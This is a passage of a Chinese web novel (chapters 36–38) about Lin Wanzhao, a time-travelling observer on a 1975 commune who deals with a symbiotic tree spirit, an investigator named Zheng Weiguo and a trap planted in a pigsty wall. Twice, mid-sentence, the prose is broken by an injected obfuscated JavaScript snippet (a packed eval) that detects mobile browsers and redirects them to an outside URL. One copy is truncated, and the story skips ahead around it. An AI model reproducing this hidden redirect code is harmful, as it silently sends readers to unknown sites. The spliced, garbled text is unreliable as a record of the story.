他不知什么时候到的,站在圈舍门口,穿着呢子大衣,手里拿着个公文包。脸上还是那副职业化的笑容,但眼镜片后的眼神很深。 “李记者?”林晚照保持平静,“您也来买猪?” “不是买,是征用。”李明从公文包里拿出一张纸,“省农业厅的文件,为保障省城副食品供应,征调各地优质种畜。这几头猪,符合征调标准。” 他把文件递过来。纸张是正式的公文用纸,抬头是省农业厅,下面有红章。内容确实如他所说,落款日期是三天前。 陈大牛急了:“这咋行!这是我们公社先看上的!” “文件优先。”李明语气温和,但不容置疑,“林同志,陈同志,希望你们配合省里的工作。” 林晚照盯着那张文件。纸张是真的,章也是真的。但时机太巧了——她刚挑好猪,李明就出现,拿着正好能卡住她的文件。 这不是巧合。 “李记者,”她抬起眼,“文件上说‘征调各地优质种畜’,但没指定具体哪几头。种畜站里好猪不少,您为什么偏偏要这几头?” 李明笑了:“因为这几头最好。省里的专家鉴定过——当然,是看了照片和资料。林同志,你不会是想阻挠省里的工作吧?” 帽子扣得很大。林晚照沉默了。 她看向那几头猪。它们似乎感应到气氛不对,有些不安地在圈里走动。其中一头公猪抬起头,黑溜溜的眼睛看着她,像是求助。 共生体在她意识里轻轻震动,传递来一个模糊的意念:危险。 不是指猪,是指李明。 “既然省里需要,我们当然配合。”林晚照最终说,“不过王站长,站里还有别的种猪吗?差不多的就行。” 老王头面露难色:“有是有,但都比不上这几头……” “没关系,带我们看看。” 老王头带他们去看别的圈舍。李明没有跟来,他站在原地,看着工作人员把那几头猪赶出来,装上他带来的卡车。 陈大牛气得脸色发青,但不敢说话。林晚照拍拍他的手臂,示意他冷静。 她一边看猪,一边用眼角余光观察李明。他正在跟工作人员说话,表情轻松,甚至带着点笑意。但那笑意没到眼底。 共生体又传来震动。这次更强烈了,带着预警的意味。 林晚照忽然明白了——李明不是来买猪的。他是来试探的,来施压的,来告诉她:我能随时卡住你的脖子。 而更可怕的是,他怎么知道她今天会来种畜站?怎么知道她会挑哪几头猪? 有人报信。 她看向老王头。老王头正在介绍一头母猪,语气自然,眼神坦荡。不是他。 那是谁?陈大牛?不可能。 拖拉机司机小赵?他一直在车上。 或者……她心里一沉。或者是郑卫国。他知道她的计划,知道她需要种猪。他有动机,也有能力。 “就这几头吧。”她随便指了几头,“王站长,麻烦您办手续。” 手续办得很快。付钱,开票,装车。李明那边也办完了,卡车先开走了。他走过来,对林晚照笑笑:“林同志,谢谢配合。对了,我的报道快写完了,明天会送公社审核。你有空的话,可以提前看看。” “好的。”林晚照点头。 李明走了。陈大牛终于忍不住,一拳砸在拖拉机车斗上:“什么东西!明明是我们先来的!” “算了,陈叔。”林晚照说,“省里的文件,咱们拗不过。” 她表面上平静,心里却翻江倒海。共生体的预警还在持续,而且越来越强。那不是对李明的预警,是对某种更近、更迫在眉睫的危险的预警。 回程的路上,她一直沉默。陈大牛以为她心情不好,也没多说话。 拖拉机开进红星公社时,天已经快黑了。村口站着一个人,是王晓芬,脸色焦急。 看见车,她跑过来:“晚照!你可回来了!” “怎么了?” “公社来人了!”王晓芬压低声音,“说是省里调查组的,要找你去县里谈话。王书记挡着,但挡不住多久。他们现在在养猪场那边等你!” 林晚照的心沉了下去。 七十二小时,才过去半天。 “捕猎者”这就来了? 36.树影现形 养猪场的“谈话室”是临时腾出来的饲料仓库。二十平米的空间,堆着半墙麻袋,空气里弥漫着玉米面和麸皮的粉尘味。中央摆着一张旧木桌,三把椅子,桌上放着两个搪瓷缸,缸身上“劳动光荣”的红字已经斑驳。 林晚照站在门口,看着屋里的人。 郑卫国坐在主位,穿着深灰色的中山装,纽扣一丝不苟地扣到最上面一颗。他手里拿着个笔记本,正在写什么,钢笔尖划过纸面的沙沙声在寂静中格外清晰。听见脚步声,他抬起头,脸上露出那种林晚照熟悉的、温和而公式化的笑容。 “林晚照同志,请坐。”他指了指对面的椅子。 林晚照走进去,坐下。她没有刻意掩饰自己的紧张——手心出汗、呼吸微促、眼神警惕,这些都是一个普通知青面对省调查组时该有的正常反应。 “郑主任。”她开口,声音尽量平稳,“听说您是调查组的?” “临时抽调。”郑卫国放下钢笔,双手交叠放在桌上,“省里对这个项目很重视,有些情况需要进一步核实。希望你能配合。” “我会的。” 郑卫国点点头,翻开笔记本:“那我们开始。第一个问题,关于养猪场的五千元专项资金……” 他开始问。问题都很常规:资金来源、使用计划、账目管理、预期效益。林晚照一一作答,每个回答都简洁、准确,像背过很多遍。这些都是事实,经得起查。 问询进行了大概二十分钟。屋外的天色渐渐暗下来,仓库里没拉电灯——红星公社还没通电,夜晚照明靠煤油灯和马灯。郑卫国从包里拿出个手电筒,打开,竖在桌上。光束向上,在天花板投出一个晃动的光斑。 粉尘在光柱里飞舞,像细小的星辰。 “最后一个问题。”郑卫国合上笔记本,身体微微前倾,“林晚照同志,你最近有没有……感觉到什么异常?” 来了。 林晚照的心跳漏了一拍,但脸上恰到好处地露出困惑:“异常?您指的是?” “任何不寻常的事。”郑卫国的目光落在她脸上,镜片后的眼睛像探照灯,“比如,看见不该看见的东西,听见不该听见的声音,或者……身体上有什么特殊的感觉。” 他问得太直白了。直白到几乎是在明示。 林晚照脑子里飞快运转。他在试探?还是已经知道了什么?共生体的预警还在持续,像背景噪音一样嗡嗡作响,提醒她危险临近。 “我不太明白您的意思。”她选择装傻。 郑卫国笑了。不是之前那种温和的笑,而是带着点玩味,像猫看着爪下的老鼠。 “那我换个问法。”他说,“你有没有觉得,手腕上的镯子……最近不太一样?” 林晚照的右手腕瞬间绷紧。银镯在袖子里,看不见,但她能感觉到它的存在——温润,安静,没有发光也没有震动。七十二小时的屏蔽期还在继续。 “镯子是我外婆留下的。”她说,“一直就这样。” “是吗?”郑卫国从中山装口袋里掏出个东西,放在桌上。 那是个巴掌大的金属仪器,扁圆形,表面有几个指示灯,中间是个小小的显示屏。仪器正在工作,指示灯有规律地闪烁,屏幕上跳动着林晚照看不懂的波形和数字。 “这是‘能量波动监测仪’。”郑卫国说,“专门用来探测时空异常信号。你看这里——” 他指着屏幕上一个波峰:“这个读数,表示在你周围三米范围内,存在一个稳定的时空扭曲场。强度不高,但持续存在。” 林晚照盯着那个仪器。她的手心开始冒冷汗。 “我不懂这些。”她坚持。 “你懂的。”郑卫国的声音很轻,“观测员074号。” 仓库里的空气凝固了。 粉尘停止了飞舞,手电筒的光柱仿佛也静止了。林晚照能听见自己的心跳声,咚咚,咚咚,撞在肋骨上。 “我不知道您在说什么。”她最后挣扎。 郑卫国叹了口气。他抬手,摘下了眼镜,揉了揉鼻梁。这个动作让他看起来疲惫而真实,不像那个永远滴水不漏的“郑主任”。 “林晚照,我们别绕圈子了。”他重新戴上眼镜,眼神变得锐利,“我知道你是观测员。我知道你有空间。我也知道,你空间里最近多了个‘房客’——一棵会发光的树苗,对吗?” 每一个字都像锤子砸在林晚照心上。 他怎么知道?他怎么知道得这么清楚? 共生体的预警突然飙升到顶点。那不再是无形的噪音,而是尖锐的刺痛,像无数根针扎进她的意识。她闷哼一声,下意识捂住额头。 “看来它很紧张。”郑卫国看着她的反应,“别怕,我不是来清除你的。恰恰相反——” 他顿了顿,一字一句地说:“我是来救你的。” 林晚照抬起头,眼睛因为疼痛而泛出水光:“救我?” “寄生体正在快速成长。”郑卫国的语气严肃起来,“按照这个速度,最多一个月,它就会彻底夺取空间的控制权。到那时,你会被挤出自己的空间,意识消散,身体变成空壳。” 他拿起监测仪,指着屏幕上的另一个数据:“看到这个数值了吗?这是寄生体与你的精神同步率。现在已经达到15%。超过30%,它就具备初步的自主行动能力。超过50%,你就危险了。” 林晚照盯着那个数字:15.7%。和她之前在训练程序里看到的7%完全不同。是程序错了,还是郑卫国的仪器更准? “你怎么知道这些?”她问。 “因为我见过。”郑卫国的眼神黯淡了一瞬,“五年前,在云南,我搭档就是这样死的。寄生体夺取空间后,操控他的身体走到悬崖边,跳了下去。我们连抢救的机会都没有。” 他的声音里有真实的痛苦。林晚照能感觉到——那不是演的。 “你是……真正的037号?”她试探着问。 郑卫国摇头:“不。037号是蕾拉,你见过的。我是038号,她的继任者。” 蕾拉说过,郑卫国“不完全是卧底”。原来如此。 “那你为什么假装是‘守夜人’的卧底?”林晚照追问。 “为了接近你,也为了保护你。”郑卫国说,“‘守夜人’内部有分歧——一部分认为应该清除所有异常,包括被寄生的观测员。另一部分认为可以尝试救治。我属于后者。但我的立场不能公开,所以需要伪装。” 他重新拿起钢笔,在笔记本上快速画了个示意图:“‘灯塔’对寄生体了解很少,因为几乎所有病例都以观测员死亡告终。但我这些年私下研究,发现一个可能:如果观测员的精神力足够强,是有可能反向控制寄生体的。” “反向控制?” “对。”郑卫国点头,“把寄生体变成共生体,让它为你所用。这很危险,但也是唯一的生路。” 林晚照想起训练程序里的“共生体同步率”。程序判定的是共生,不是寄生。这和她自己的感觉一致——树苗没有恶意。 “你怎么知道我的同步率?”她问出关键问题。 郑卫国从包里又拿出个东西。那是个巴掌大的金属片,很薄,边缘有细密的纹路。 “这是‘锚点二号’,初代时空稳定器的改进型。”他说,“我把它混在建材里运到了红星公社。你摸过那些砖吧?” 林晚照想起砌墙时,她亲手传递过无数块砖。那些砖里,混着这个东西? “它不仅是稳定器,也是监测器。”郑卫国继续说,“能持续收集你周围的时空数据,包括寄生体的生长状况。数据会定期上传到我的接收器。” 所以他知道树苗的存在。所以他知道同步率。 一切都说得通了。 “你为什么要帮我?”林晚照看着他,“我们素不相识。” 郑卫国沉默了很久。手电筒的光在墙上跳动,他的影子被拉得很长,微微晃动。 “因为蕾拉。”他最终说,“她失联前给我留了最后一条信息:‘如果我回不来,替我守护那些还在挣扎的观测员。’你是她失联后,我遇到的第一个新观测员。” 他顿了顿,声音更轻了:“而且,林晚照,你做的事……很好。真的很好。养猪场,那些村民,你让他们看到了希望。在时空中挣扎求生的人,不该是这样的结局。” 仓库里安静下来。远处传来猪舍那边陈大牛吆喝收工的声音,还有村民们扛着工具回家的脚步声。那些声音很真实,很踏实,是1975年冬天一个普通傍晚该有的声音。 林晚照看着郑卫国。他的表情很真诚,眼神里有种她之前没见过的疲惫和沧桑。这个人可能在说谎,但如果是谎,也太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875394|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完美了。 共生体的预警还在,但强度降低了些。树苗在她意识里传递来一个模糊的、犹豫的意念:危险……但不致命。 “你需要我做什么?”她问。 “三件事。”郑卫国伸出三根手指,“第一,每天进行精神力训练,我会给你一套更有效的功法。第二,不要轻易让寄生体实体化——你刚才应该感觉到了,它在尝试突破空间边界。” 林晚照心头一紧。树苗的实体出现在郑卫国瞳孔倒影里,不是幻觉,是树苗真的在尝试出来? “第三,”郑卫国收起手指,“小心李明。他不是记者,是‘捕猎者’的先锋。” “捕猎者?” “一个非法组织。”郑卫国的脸色沉下来,“他们专门猎捕失控的观测员和寄生体,用来做实验或者卖钱。李明盯上你了,你今天在种畜站的遭遇就是证明。” 果然。抢猪不是目的,是威慑。 “他接下来会怎么做?” “不知道。”郑卫国摇头,“‘捕猎者’行事诡秘,手段很多。但有一点可以肯定——他们对寄生体很感兴趣。你空间里那棵树苗,在他们眼里是无价之宝。” 无价之宝。林晚照心里涌起一阵恶心。她的空间,她拼命守护的东西,在别人眼里只是货物。 “那我该怎么办?” “正常生活。”郑卫国说,“该养猪养猪,该种地种地。但时刻保持警惕。我会在暗处帮你,但不能暴露。一旦我的身份泄露,‘守夜人’里的清除派就会立刻行动。” 他站起身,从包里拿出个牛皮纸袋,推过来:“里面是我整理的训练方法和一些注意事项。看完烧掉。” 林晚照接过纸袋,很薄,没什么分量。 “还有这个。”郑卫国又递过来一个小盒子,火柴盒大小,“紧急通讯器。按下去,我会在三分钟内赶到。但只能用一次,用了就会暴露我的位置。” 林晚照接过盒子,握在手心。金属外壳冰凉。 “为什么要冒这么大风险帮我?”她再次问。 郑卫国走到门口,回头看了她一眼。手电筒的光从他身后照过来,他的脸在阴影里,看不清表情。 “因为我相信,”他说,“有些东西值得守护。哪怕是逆着时空,逆着规则。” 他拉开门,走了出去。 仓库里只剩下林晚照一个人。手电筒的光还亮着,光柱里粉尘重新开始飞舞。她打开牛皮纸袋,里面是几页手写的笔记,字迹工整,详细记录了精神力训练的方法、寄生体的特性、可能的风险。 她看得很认真,一字一句。笔记的最后一段写着: 观测员守则(个人修订版): 1. 活下去。 2. 守护值得守护的。 3. 如果规则错了,就改变规则。 下面有个签名:038号,郑卫国。 林晚照把笔记按在胸口,闭上眼睛。她能感觉到,空间里的树苗正安静地立着,枝叶轻轻摇曳。共生体的同步率在缓慢上升:15.8%,15.9%…… 它在成长。在和她建立更深的连接。 而她现在知道了,这不是诅咒,是机会——一个危险而巨大的机会。 门外传来脚步声,是王晓芬:“晚照?谈完了吗?吃饭了。” 林晚照迅速把笔记和通讯器藏好,站起身:“来了。” 她走出仓库。天已经全黑了,养猪场那边点起了几盏马灯,昏黄的光晕在雪地里像温暖的眼睛。陈大牛还在猪舍那边检查,看见她,招了招手。 一切都和往常一样。但又完全不一样了。 她抬头看向夜空。星星出来了,很多,很亮。在那些星光之间,在看不见的时空深处,有无数双眼睛在看着这里,看着这个小小的红星公社,看着她。 而她,要在这注视下,走出一条自己的路。 手腕上的银镯忽然传来一阵微弱的温热。不是预警,更像是……安慰。 她握了握手腕,朝着知青点的灯光走去。 脚步很稳。 雪在脚下咯吱作响,像在为她伴奏。 而在她身后的影子里,似乎有什么东西轻轻摇曳了一下——半透明的、泛着微光的枝叶,一闪而逝。 树苗在守护她。 以它自己的方式。 37.血饵与抉择 陈大牛的惊呼像刀子划破冬晨的寂静。林晚照冲出知青点时,嘴里还含着半口玉米饼,冷风灌进喉咙,呛得她剧烈咳嗽。但她没停,朝着养猪场方向狂奔,棉袄的扣子都来不及扣全。 晨光还很稀薄,东边的天空是鱼肚白混着鸭蛋青。雪地上留下一串凌乱的脚印,深深浅浅,像她此刻的心跳。 养猪场北墙边已经围了七八个人。陈大牛站在最前面,手里的瓦刀垂着,脸色煞白。王秀兰捂着嘴,眼睛瞪得老大。其他人有的后退,有的伸长脖子看,空气里弥漫着一种混杂了恐惧和好奇的诡异气氛。 林晚照挤进去,看见了那面墙。 新砌的、昨天才封顶的北墙,从离地一米左右的位置,裂开了一道缝。缝不宽,一指来宽,但很长,斜着贯穿了三块砖。裂缝边缘不是砖石断裂的糙口,而是某种……融化的状态?砖面像蜡一样微微凹陷、变形。 而最让人头皮发麻的,是从裂缝里渗出来的东西。 暗红色。粘稠。缓慢地沿着砖面往下淌,在青灰色的墙面上画出狰狞的痕迹。那不是血——至少不完全是。它比血更稠,在晨光里泛着一种诡异的金属光泽,像掺了铁锈的糖浆。气味也很怪,腥,但又混着一股甜腻的、类似熟透水果腐烂的味道。 液体流过的地方,积雪迅速消融,露出下面焦黑的土地。不是被热量融化的那种湿润的黑,而是像被火烧过、被强酸腐蚀过的焦黑。泥土板结、龟裂,冒出极细微的白烟。 “这……这是啥啊?”一个年轻后生声音发颤。 没人回答。 林晚照盯着那道裂缝,脑子里树苗传递来的图像和眼前的景象重叠:墙内夹层,闪烁红光的金属装置,还有那个充满恐惧的意念——血饵。 专门吸引寄生体的诱饵。 共生体同步率在飙升:16.3%,16.5%,16.8%……树苗在她意识里剧烈震颤,枝叶疯狂摆动。不是痛苦,是某种难以抗拒的渴望,像饿极的人看见食物,像飞蛾看见火。 想要……必须得到…… 树苗的意念第一次如此清晰,如此强烈,带着原始的、近乎本能的冲动。 林晚照咬紧牙关,用意念压制:“不行!那是陷阱!” 需要……成长……保护你…… 树苗的回应急切而执着。它传递来一幅画面:自己吸收那种暗红色液体后迅速长高,枝叶繁茂,银光大盛,然后伸展出更强大的根系和枝条,将整个空间包裹、加固。 它想变强。想保护她。而“血饵”是捷径。 “晚照,这咋办?”陈大牛转过头,声音发干,“这玩意儿……不像正常东西。要不要报告公社?” 报告公社?让更多的人看到?让李明或者他背后的“捕猎者”知道计划成功了? “先别急。”林晚照强迫自己冷静,“陈叔,让大家散开,别靠近。秀兰姐,去烧几锅开水。铁柱哥——”她看向匆匆赶来的陈铁柱,“找几把铁锹和麻袋,还有生石灰。” 她的指令清晰而快速,像早就想好了应对方案。实际上,她脑子里一片空白,全靠本能撑着。 人群开始动起来。陈大牛吆喝着让人后退,王秀兰跑向灶台,陈铁柱转身去拿工具。但所有人的眼睛还时不时瞟向那道裂缝,瞟向那些仍在缓慢渗出的暗红液体。 林晚照走近几步。离得越近,那股甜腻的腐臭味越浓。她能感觉到,手腕上的银镯在微微发烫——不是预警,是某种共鸣。树苗的渴望通过连接冲击着她的意识,像潮水,一波比一波强。 同步率突破17%了。 她伸出手,指尖在离墙面半尺的地方停住。暗红液体似乎感应到了什么,流动的速度加快了,甚至朝着她手指的方向微微隆起,像有生命一样。 “别碰!”陈铁柱冲过来,一把拉住她的胳膊,“这玩意儿邪门!” 林晚照缩回手。她的指尖在颤抖。 “得把这面墙拆了。”陈铁柱盯着裂缝,脸色铁青,“把里面的东西挖出来,看看到底是啥。” 拆墙?那不就正中“捕猎者”下怀?让他们知道诱饵起作用了,让树苗彻底暴露? “不能拆。”林晚照摇头,“墙刚砌好,拆了损失太大。而且……”她顿了顿,“万一里面有什么危险东西,伤到人怎么办?” “那你说咋办?” 林晚照看向那道裂缝。暗红液体已经流到墙根,在雪地上积了一小滩。焦黑的面积在扩大,白烟丝丝缕缕升起。 树苗的渴望几乎要冲破她的压制。同步率跳到17.5%。 她做了个决定。 “陈叔,铁柱哥,你们带人准备生石灰和开水。”她说,“我去找点东西,看能不能把这‘漏水’堵上。” 不等他们回答,她转身就往回跑。不是回知青点,而是往后山方向。 雪很深,她跑得很吃力,几次差点摔倒。但脑子里只有一个念头:远离人群,找个没人的地方,进空间。 树苗快失控了。她必须安抚它,或者……满足它一部分需求。 跑到半山腰一片松树林里,她喘着粗气停下。四周寂静,只有风吹过树梢的沙沙声和她的呼吸声。她靠在一棵老松树上,闭上眼睛。 意识沉入空间。 树苗已经长到她胸口高了。树干不再是半透明,而是呈现出一种莹润的玉白色,内部的银色脉络清晰可见,像流动的光。枝叶繁茂了许多,每一片叶子都像最薄的翡翠,边缘泛着银光。 但此刻,这些枝叶在疯狂舞动,像在狂风中挣扎。树苗传递来的意念混乱而焦躁: 需要……血饵……能量……成长……保护…… “冷静!”林晚照用意识喝道,“那是陷阱!吸收了你会被控制!” 不会……我能消化……能转化……变得更强大……保护你…… 树苗的意念里透着一种近乎天真的自信。它像孩子一样,只看到糖果,看不到糖果里的毒药。 林晚照走到树苗前,伸出手,不是触碰,而是将意识更深入地连接进去。她感受到树苗的“饥饿”——那是一种对特定能量的渴望,像缺水的植物渴望雨。而这种渴望正在扭曲树苗的判断力。 训练程序自动激活了。界面弹出提示: 检测到共生体能量饥渴状态。建议:提供替代能量源,或进行意志强化训练。 替代能量源?她哪有那种东西? 意志强化训练……也许可以试试。 她按照郑卫国笔记里的方法,集中精神,在意识中构建一个“屏障”。不是物理的墙,而是意志的壁垒,将自己与树苗的渴望隔开。 这很难。树苗的渴望像潮水,她的意志像沙堤。潮水一次次冲击,沙堤一次次松动。同步率在波动:17.8%,17.5%,18.1%…… 汗水从她额头滑落,在寒冷的空气中迅速变冷。她的身体在现实中颤抖,手指深深抠进松树粗糙的树皮里。 “听我说,”她用意识传递,每个字都像从牙缝里挤出来,“你不能吸收那个东西。我会给你找别的能量。灵泉水,黑土地的养分,都可以。但那个不行。” 树苗的舞动稍稍减缓。它传递来一个困惑的意念:为什么……那是最好的…… “因为给你那个东西的人,想害你。”林晚照说,“想通过控制你来控制我。你明白吗?我们是共生体,是一体的。你受伤,我也会受伤。” 树苗静止了。枝叶垂下,像在思考。 然后,它传递来一个新的画面:不是吸收血饵后的强大,而是被暗红液体缠绕、侵蚀,枝叶枯萎,银光暗淡。最后,树苗的中心出现一个黑色的空洞,空洞里有一双冰冷的、不属于它的眼睛。 那是“捕猎者”想要的结果——把树苗变成傀儡,变成追踪她和控制她的工具。 树苗的意念里涌起恐惧。不是对血饵的恐惧,而是对那双眼睛的恐惧。 不要……那个……保护…… “对,不要那个。”林晚照感到树苗的渴望在消退,同步率稳定在18.3%,“我会保护你,你也要保护我。我们一起找别的办法变强。” 树苗的枝叶轻轻摆动,传递来一个温顺的、依恋的意念。危机暂时解除了。 但问题还在——墙里的血饵怎么办?不处理,它还会持续散发吸引寄生体的能量波动,可能引来其他东西。处理,又可能惊动“捕猎者”。 林晚照退出空间,靠在松树上喘气。她的衣服已经被冷汗湿透,寒风吹过,冷得刺骨。但她脑子里却异常清醒。 她需要郑卫国的帮助。但那个紧急通讯器只能用一次,用了就会暴露他的位置。值得吗? 树苗在意念里轻轻震动,传递来一个模糊的图像:养猪场的墙,裂缝,但视角很奇怪——不是从外面看,而是从里面。她“看到”了墙内夹层的情况。 那个金属装置嵌在砖石之间,大约饭盒大小,表面有复杂的纹路,中央一个红色指示灯在缓慢闪烁。装置周围延伸出许多细如发丝的触须,触须扎进砖石和灰浆里,像植物的根。暗红液体就是从这些触须末端渗出的。 树苗还能“看到”更多:装置内部有一个微型能量核心,正在以极低的功率运行。能量波动的频率很特殊,专门针对特定类型的时空生命体——也就是树苗这样的寄生/共生体。 但树苗还“看到”了一点别的东西:装置侧面,有一个几乎看不见的标记。三个细小的符号,排列成一个等边三角形。 林晚照不认识那些符号,但树苗传递来的感觉是——熟悉。不是亲切的熟悉,而是像见过很多次的、刻在记忆里的熟悉。 她忽然想起郑卫国的笔记里,有一页画了几个符号草图,旁边标注:“常见时空组织标识”。 她需要再看一次那本笔记。 跑回知青点,屋里没人。她快速从藏匿处翻出牛皮纸袋,抽出笔记,翻到那一页。 果然。三个符号:一个类似眼睛的简化图形,一个波浪线,一个箭头。笔记上标注:“‘捕猎者’组织标识。眼睛代表‘观察’,波浪线代表‘时空流’,箭头代表‘捕捉’。” 就是它。 林晚照盯着那三个符号,脑子里飞速运转。“捕猎者”在墙里埋了血饵,目的就是吸引树苗。但他们怎么确定树苗一定会被吸引?除非他们知道树苗的特性,知道它正处于快速成长期,对高纯度时空能量有强烈需求。 谁泄露了信息?郑卫国?还是……树苗自己的能量波动被探测到了? 她想起郑卫国说的“锚点二号”监测器。那个混在建材里运来的装置,不仅能监测她,也可能被“捕猎者”反向利用。 如果是这样,那么从一开始,她砌墙的时候,陷阱就已经布下了。 好精密的算计。好长远的布局。 林晚照感到一阵寒意,比冬日的寒风更刺骨。她面对的不仅是一个组织,是一张早就撒开的网。而她和树苗,是网里的鱼。 不,她不要做鱼。 她把笔记重新藏好,走出屋子。养猪场方向传来嘈杂声——陈铁柱他们已经准备好了生石灰和开水。 她走过去。人群自动让开一条路。陈大牛迎上来:“晚照,找到办法了?” “有办法了。”林晚照说,声音很稳,“但需要大家配合。” “你说!” “第一,用生石灰铺在液体流过的地方,厚厚地铺。”她指着墙根那滩暗红和焦黑的土地,“石灰能中和酸性,也能吸收水分。” “第二,烧开的水,不是用来浇墙,是用来泡麻袋。泡透的麻袋一层层糊在裂缝上,要糊厚实。” “第三,”她看向陈铁柱,“铁柱哥,你带几个人,去后山挖一种红土。我知道哪里有,跟我来。” 红土?陈大牛愣了:“要红土干啥?” “堵裂缝。”林晚照说,“红土粘性大,干了之后比水泥还硬。而且……”她顿了顿,“红土里含铁,能干扰一些不干净的东西。” 最后半句她说得很轻,但足够让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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红土泥浆和好了,暗红色,粘稠得像膏药。林晚照亲自上手,用木片挑起泥浆,糊在麻袋外面。一层,又一层。滚开的水浇在泥浆表面,热气蒸腾,泥浆迅速硬化。 树苗也在行动。林晚照能感觉到,它收敛了所有外溢的能量,整个空间里的银光都暗淡了些。同时,一根极细的、半透明的根须从空间中延伸出来,穿过现实与空间的边界,穿过她的身体,再透过地面和墙基,悄无声息地触碰到那个金属装置。 接触的瞬间,树苗传递来强烈的厌恶感——那装置散发出的能量场让它很不舒服,像闻到腐肉的味道。 但它还是按照林晚照的指示,释放出一股混乱的波动。不是攻击,是干扰,像往清水中滴入墨汁,往有序的乐章中插入噪音。 装置上的红色指示灯闪烁频率变了。从规律的慢闪,变成杂乱无章的快闪。暗红液体渗出的速度明显减慢,最后完全停止。 墙内传来极轻微的“咔哒”声,像什么东西卡住了。 树苗迅速撤回根须,传递来一个疲惫但满足的意念:完成了……它停了…… 林晚照松了口气。她抹了把额头的汗,手上全是红泥。 “好了。”她对周围的人说,“泥浆干了就结实了。这几天大家注意观察,要是再有异常,立刻告诉我。” 人群渐渐散去,该干活的干活,该回家的回家。陈大牛留下来,蹲在墙根看了半天,低声问:“晚照,你跟叔说实话,这到底咋回事?” 林晚照也蹲下来,看着那面被红泥糊住的墙。晨光完全升起来了,照在墙上,红泥正在快速干燥,变成暗褐色,像一道丑陋的伤疤。 “陈叔,”她轻声说,“这世上有些事,不知道比知道好。您信我吗?” 陈大牛盯着她看了很久,最后重重地点头:“信。” “那就够了。”林晚照站起来,“这面墙暂时没问题了。但养猪场……以后可能会有更多麻烦。陈叔,您怕吗?” 陈大牛笑了,笑容里有庄稼人特有的憨实和固执:“怕啥?咱庄稼人,啥风浪没见过?只要你在前面领着,我们就跟着。” 林晚照鼻子一酸。她别过脸,深吸一口气。 “谢谢陈叔。” 她转身离开养猪场,朝着后山走去。她需要一个人静静,需要整理思绪,也需要……检查树苗的情况。 但走到半路,她停下了。 山路边站着一个人。 李明。 他穿着呢子大衣,围巾围得很严实,手里拿着个相机,正对着养猪场方向拍照。听见脚步声,他转过身,看见林晚照,露出那种职业化的笑容。 “林同志,早啊。”他打招呼,语气自然得像偶遇。 林晚照看着他手里的相机:“李记者这么早来拍照?” “早晨光线好。”李明说,“对了,我刚才看见你们在修墙?墙怎么了?” “有点裂缝,渗水。”林晚照面不改色,“冬天砌墙,灰浆没干透,冻裂了。” “哦。”李明点点头,但镜片后的眼睛盯着她,“可我好像看见……渗出来的不是水?” 空气静了一瞬。 林晚照迎着他的目光:“雪水混着灰浆,颜色是有点怪。李记者看错了吧?” 两人对视。晨光在中间流淌,风卷起细雪,在他们脚下打旋。 最后,李明笑了:“可能是我看错了。林同志,我下午回省城,报道最晚明天见报。到时候,我会寄一份给你。” “谢谢。” “不客气。”李明收起相机,“那么,再见了。希望你的养猪场……一切顺利。” 他转身走了,脚步不紧不慢,很快消失在路拐角。 林晚照站在原地,看着他的背影消失的方向。她的手在棉袄口袋里,握紧了那个紧急通讯器。 树苗在意念里轻轻震动,传递来一个清晰的图像:李明的背影,但在他肩膀上方,漂浮着一个极淡的、半透明的影子。影子没有五官,但轮廓像一只收拢翅膀的鹰。 而影子的眼睛里,映出的不是李明,而是三个符号组成的等边三角形。 “捕猎者”的标记。 李明不是先锋。 他就是“捕猎者”本人。 38.双线绝境 张教授的信和陈铁柱带来的消息,像两把冰冷的钳子,几乎在同一时间钳住了林晚照的喉咙。她站在知青点的院子里,左手捏着那封只有一行字的加急信,右手空空——信纸在她指尖微微颤抖,脆响在清晨的冷空气里格外清晰。 “省城……县里……”王晓芬的声音在旁边响起,带着哭腔,“晚照,这可咋办啊?” 林晚照没说话。她的目光从信纸上抬起,越过王晓芬的肩膀,看向院门口。陈铁柱站在那里,棉袄敞着怀,胸口剧烈起伏,呼出的白气一团接一团。他的眼神里有愤怒,有焦虑,还有一种林晚照熟悉的、准备拼命的狠劲。 “公社来的人说,”陈铁柱的声音压得很低,但每个字都像石头砸在地上,“让你两小时内到县革委会报到。是‘报到’,不是‘谈话’。王书记争了半天,没用。说是省调查组直接下的命令。” 省调查组。李明的人。 林晚照垂下眼,再次看向张教授的信。钢笔字迹很急,笔画有些飞:“项目资金被冻结,速来省城解释。”没有落款,没有日期,但这确实是张教授的笔迹——她见过他批改报告时的字,那种略带潦草但骨架清晰的风格。 资金冻结。隔离审查。 两面夹击,时间掐得精准无比。她如果去省城,县里就会以“抗拒调查”为由采取强制措施。她如果去县里,省城的资金冻结就坐实了“项目有问题”,后续想翻身几乎不可能。 而树苗在她意识深处沉睡。不是完全的寂静,而是像极度疲惫后的昏睡,意识模糊,能量低迷。之前干扰血饵装置的消耗比预想的更大。她能感觉到它的存在,但那些清晰的意念传递已经中断了,只剩下一些破碎的画面偶尔闪过:黑色的树,玻璃舱,蕾拉苍白的脸…… 母亲。树苗是这么称呼蕾拉的。 林晚照闭上眼睛,深吸一口气。冷空气灌进肺里,刺得生疼,但让她清醒了些。 “铁柱哥,”她开口,声音意外地平稳,“你去告诉公社的人,我马上去县里报到。但需要一点时间收拾东西,拿换洗衣裳和洗漱用品——既然是‘隔离审查’,肯定不是一天两天能完事的。” 陈铁柱愣了:“你真要去?” “去。”林晚照点头,“但在这之前,我得先给省城回个信。” 她转身回屋。王晓芬跟进来,眼睛红红的:“晚照,你不能去县里!那个李明一看就没安好心,去了还不知道会怎样!” “我知道。”林晚照从床底拖出那个小木箱,翻出纸笔,“所以得更小心。” 